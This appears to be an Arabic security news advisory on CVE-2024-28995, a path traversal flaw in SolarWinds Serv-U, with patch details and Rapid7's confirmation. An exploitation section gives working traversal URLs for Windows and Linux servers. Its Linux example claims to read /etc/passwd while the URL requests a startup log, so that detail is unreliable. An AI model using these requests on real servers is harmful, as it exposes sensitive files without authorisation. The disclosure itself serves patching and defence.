تحدير عالي الخطورة من SolarWinds على منتج CVE-2024-28995 Serv-U

---

قامت شركة SolarWinds بإصلاح ثغرة خطيرة (CVE-2024-28995) تؤثر على Serv-U خادم نقل الملفات المدارة (MFT) الخاص بها، والذي يمكن استغلاله من قبل مهاجمين غير مصدقين للوصول إلى ملفات حساسة على الجهاز المضيف.

حول CVE-2024-28995

يُعتبر خادم Serv-U MFT Server حلاً مؤسسياً يستخدم على نطاق واسع يوفر نقل الملفات ومشاركتها بشكل آمن على أجهزة Windows وLinux.

تم اكتشاف الثغرة والإبلاغ عنها من قبل حسين ظاهر، CVE-2024-28995 هي ثغرة تجاوز الدليل (المعروفة أيضًا باسم تجاوز المسار) التي تؤثر على إصدارات SolarWinds Serv-U 15.4.2 HF 1 والإصدارات السابقة.

ثغرات تجاوز الدليل تسمح للمهاجمين بالوصول إلى الأدلة والملفات خارج دليل الجذر للخادم.

يشير تقييم درجة قاعدة CVSS للثغرة إلى أنه يمكن استغلالها عن بُعد، من خلال هجوم منخفض التعقيد، ولا يتطلب تفاعل المستخدم لاستغلالها.

قامت شركة SolarWinds بإصلاح الخلل بإصدار Serv-U 15.4.2 Hotfix 2، وهو مناسب لكل من أنظمة Windows وLinux (سواء كانت 32-بت أو 64-بت)، وتنصح الشركة المسؤولين بتحديث نسخ Serv-U الخاصة بهم في أقرب وقت ممكن.

لم يُذكر أن الثغرة تم استغلالها بشكل نشط، ولكن من المعروف أن المهاجمين يستغلون ثغرات Serv-U (بما في ذلك ثغرات يوم الصفر).

الإستغلال:

استغلال هده يمكن من قراءة جميع بينات الملفات الحساسة على الخادم

بالنسبة لخادم windows

 لقراءة الملف الموجود على المسار 
C://ProgramData/RhinoSoft/Serv-U/Serv-U-StartupLog.txt


http://<target>/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt

بالنسبة لخادم Linux

لقراءة الملف الموجود على المسار
 /etc/passwd 

http://<target>/?InternalDir=\\..\\..\\..\\..\\usr\\local\\Serv-U&InternalFile=Serv-U-StartupLog.txt

التحديث (14 يونيو 2024، الساعة 04:50 صباحًا بتوقيت شرق الولايات المتحدة):

وفقًا لشركة Rapid7، فإن الثغرة “قابلة للاستغلال بسهولة“.

تمكنوا من استغلال الثغرة على نظام Windows Server 2022 يعمل بخادم SolarWinds Serv-U File Server (64-بت) الإصدار 15.4.2.126، وعلى خادم Serv-U File Server (64-بت) الإصدار 15.4.2.126 يعمل على Linux، وتحققوا من أن التحديث Hotfix الخاص بشركة SolarWinds يُصلح الثغرة.